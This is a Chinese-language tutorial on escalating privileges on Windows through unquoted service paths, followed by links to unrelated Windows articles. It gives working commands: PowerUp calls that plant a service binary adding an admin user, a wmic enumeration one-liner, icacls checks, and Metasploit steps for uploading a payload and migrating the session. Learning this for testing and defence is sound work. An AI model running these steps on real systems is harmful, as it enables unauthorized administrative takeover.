[windows提权] 详解-可信任服务路径提权

简介: "包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权

可信任服务路径提权

①简介

"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权


②提权操作

1、安装一个存在漏洞的服务环境

https://www.exploit-db.com/exploits/24872



-使用Powerup:

1、用相应模块寻找问题路径


powershell -exec bypass "import-module .\powerup.ps1;Get-ServiceUnquoted"


2、根据AbuseFunction给出的进行利用


powershell -exec bypass "import-module .\powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe'"

可以看到是创建了管理员用户john,密码为Password123!


3、等待服务重启,用户添加成功


net user


如果权限能手动停止、启动服务可执行:



sc stop 服务名  #停止服务sc start 服务名  #启动服务



-配合MSF和WMIC:

1、拿到一个不是最高权限的会话


getuid


2、进入shell会话,用wmic枚举可能存在漏洞的路径


wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """


成功找到一个,会按照如下顺序执行程序:

C:\Program.exe

C:\Program Files(x86)\Photodex\ProShow.exe

C:\Program Files(x86)\Photodex\ProShow Producer\ScsiAccess.exe


详细解析一下:

我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:\Program[空格]xxxxx\xxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。



3、查看目录权限,用windows自带的icacls


icacls "文件夹路径"

参数解析:

(M):修改

(F):完全控制


可以看到,是Everyone,即具有完全控制权限



4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名


5、等待服务重启,MSF开启监听,成功上线


但是这个会话很不稳定,所以第一时间进行进程迁移


run post/windows/manage/migrate


再次查看权限:


getuid

目录
相关文章
|
2月前
|
NoSQL Redis Windows
windows服务器重装系统之后,Redis服务如何恢复?
windows服务器重装系统之后,Redis服务如何恢复?
64 6
|
3月前
|
计算机视觉 Windows Python
windows下使用python + opencv读取含有中文路径的图片 和 把图片数据保存到含有中文的路径下
在Windows系统中,直接使用`cv2.imread()`和`cv2.imwrite()`处理含中文路径的图像文件时会遇到问题。读取时会返回空数据,保存时则无法正确保存至目标目录。为解决这些问题,可以使用`cv2.imdecode()`结合`np.fromfile()`来读取图像,并使用`cv2.imencode()`结合`tofile()`方法来保存图像至含中文的路径。这种方法有效避免了路径编码问题,确保图像处理流程顺畅进行。
267 1
|
3天前
|
存储 负载均衡 Java
如何配置Windows主机MPIO多路径访问存储系统
Windows主机多路径(MPIO)是一种技术,用于在客户端计算机上配置多个路径到存储设备,以提高数据访问的可靠性和性能。本文以Windows2012 R2版本为例介绍如何在客户端主机和存储系统配置多路径访问。
34 13
如何配置Windows主机MPIO多路径访问存储系统
|
26天前
|
边缘计算 安全 网络安全
|
27天前
|
开发框架 .NET API
Windows Forms应用程序中集成一个ASP.NET API服务
Windows Forms应用程序中集成一个ASP.NET API服务
80 9
|
29天前
|
应用服务中间件 Apache Windows
免安装版的Tomcat注册为windows服务
免安装版的Tomcat注册为windows服务
66 3
|
29天前
|
Java 关系型数据库 MySQL
java控制Windows进程,服务管理器项目
本文介绍了如何使用Java的`Runtime`和`Process`类来控制Windows进程,包括执行命令、读取进程输出和错误流以及等待进程完成,并提供了一个简单的服务管理器项目示例。
30 1
|
2月前
|
Java 应用服务中间件 Windows
windows服务器重装系统之后,Tomcat服务如何恢复?
windows服务器重装系统之后,Tomcat服务如何恢复?
53 10
|
2月前
|
消息中间件 Java Kafka
windows服务器重装系统之后,Kafka服务如何恢复?
windows服务器重装系统之后,Kafka服务如何恢复?
28 8
|
26天前
|
弹性计算 关系型数据库 网络安全
阿里云国际版无法连接和访问Windows服务器中的FTP服务
阿里云国际版无法连接和访问Windows服务器中的FTP服务